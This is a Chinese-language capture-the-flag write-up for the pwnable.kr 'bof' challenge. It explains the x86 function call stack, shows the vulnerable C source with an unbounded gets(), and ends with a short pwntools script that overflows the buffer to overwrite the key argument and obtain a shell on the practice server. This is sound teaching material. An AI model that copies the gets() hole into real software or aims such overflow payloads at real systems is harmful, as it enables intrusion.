pwnable.kr-bof WP

  这道题是一个简单的缓冲器溢出的题,首先要做这道题要对函数调用栈有一定的了解。

函数调用栈是指程序运行时内存一段连续的区域,用来保存函数运行时的状态信息,包括函数参数与局部变量等。称之为“栈”是因为发生函数调用时,调用函数(caller)的状态被保存在栈内,被调用函数(callee)的状态被压入调用栈的栈顶;在函数调用结束时,栈顶的函数(callee)状态被弹出,栈顶恢复到调用函数(caller)的状态。函数调用栈在内存中从高地址向低地址生长,所以栈顶对应的内存地址在压栈时变小,退栈时变大。

函数状态主要涉及三个寄存器--esp,ebp,eip。esp 用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化。ebp 用来存储当前函数状态的基地址,在函数运行时不变,可以用来索引确定函数参数或局部变量的位置。eip 用来存储即将执行的程序指令的地址,cpu 依照 eip 的存储内容读取指令并执行,eip 随之指向相邻的下一条指令,如此反复,程序就得以连续执行指令。

下面让我们来看看发生函数调用时,栈顶函数状态以及上述寄存器的变化。变化的核心任务是将调用函数(caller)的状态保存起来,同时创建被调用函数(callee)的状态。

首先将被调用函数(callee)的参数按照逆序依次压入栈内。如果被调用函数(callee)不需要参数,则没有这一步骤。这些参数仍会保存在调用函数(caller)的函数状态内,之后压入栈内的数据都会作为被调用函数(callee)的函数状态来保存。

将被调用函数的参数压入栈内,然后将调用函数(caller)进行调用之后的下一条指令地址作为返回地址压入栈内。这样调用函数(caller)的 eip(指令)信息得以保存。

将被调用函数的返回地址压入栈内,再将当前的ebp 寄存器的值(也就是调用函数的基地址)压入栈内,并将 ebp 寄存器的值更新为当前栈顶的地址。这样调用函数(caller)的 ebp(基地址)信息得以保存。同时,ebp 被更新为被调用函数(callee)的基地址(图中红色的EBP)。
将调用函数的基地址(ebp)压入栈内,并将当前栈顶地址传到 ebp 寄存器内,再之后是将被调用函数(callee)的局部变量等数据压入栈内。

在压栈的过程中,esp 寄存器的值不断减小(对应于栈从内存高地址向低地址生长)。压入栈内的数据包括调用参数、返回地址、调用函数的基地址,以及局部变量,其中调用参数以外的数据共同构成了被调用函数(callee)的状态。在发生调用时,程序还会将被调用函数(callee)的指令地址存到 eip 寄存器内,这样程序就可以依次执行被调用函数的指令了。

看过了函数调用发生时的情况,就不难理解函数调用结束时的变化。变化的核心任务是丢弃被调用函数(callee)的状态,并将栈顶恢复为调用函数(caller)的状态。

首先被调用函数的局部变量会从栈内直接弹出,栈顶会指向被调用函数(callee)的基地址。

然后将基地址内存储的调用函数(caller)的基地址从栈内弹出,并存到 ebp 寄存器内。这样调用函数(caller)的 ebp(基地址)信息得以恢复。此时栈顶会指向返回地址。

再将返回地址从栈内弹出,并存到 eip 寄存器内。这样调用函数(caller)的 eip(指令)信息得以恢复。

至此调用函数(caller)的函数状态就全部恢复了,之后就是继续执行调用函数的指令了。

理解了原理之后,就可以看这道题了,首先看一下源码

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

定义了一个func() 函数,里面有一个32字节大小的buffer, 然后调用了gets()函数。注意这个gets()函数,这个函数是有漏洞。

gets()从标准输入设备读字符串函数,其可以无限读取,不会判断上限,所以会造成溢出。他以回车结束读取,直至接受到换行符或EOF时停止,并将读取的结果存放在buffer指针所指向的字符数组中。换行符不作为读取串的内容,读取的换行符被转换为‘\0’空字符,并由此来结束字符串。

然后往下看,有一个判断语句,如果传进来的参数key的值等于0xcafebabe,那么返回一个shell,可以传进去的参数人家已经给出了,是0xdeadbeef,不是0xcafebabe,这怎么办?这就要用到gets()函数和我们上面介绍的函数调用栈的知识了。

他虽然定义了一个32字节大小的buffer,但是由于gets()函数,我们可以往里面写入超过32字节的内容,从上面的图中可以看到,func()函数局部变量等数据下面就是main()函数EBP的值,再往下是保存的返回地址,也就是main函数的EIP的值,再往下就是func()函数的参数了,所以我们只要把数据覆盖掉,将参数覆盖成0xcafebabe就可以了,如图所示。

具体要怎么做呢,这里我们借助IDA,找到func()函数的位置,如图。

IDA帮我们分析出了他的局部变量占 3CH - 1CH = 2CH = 44 个字节,然后我们加上4字节的EBP和4字节的EIP,得到52字节,52字节以后的位置就是func()函数的参数key的位置了。写个小脚本跑一下。

from pwn import *

key = p32(0xcafebabe)   #打包成32位,小端模式

c = remote("pwnable.kr", 9000)   

c.sendline('A' * 52 + key)

c.interactive()

开启shell后,就可以获取flag了,由于网速的原因,可能反应有点慢。

上面函数栈调用的内容来自于知乎Jwizard, 题目思路可以看一下DeeLMind的视频讲解,请叫我勤劳的搬运工 0.0 。

猜你喜欢

转载自blog.csdn.net/Casuall/article/details/88783277
今日推荐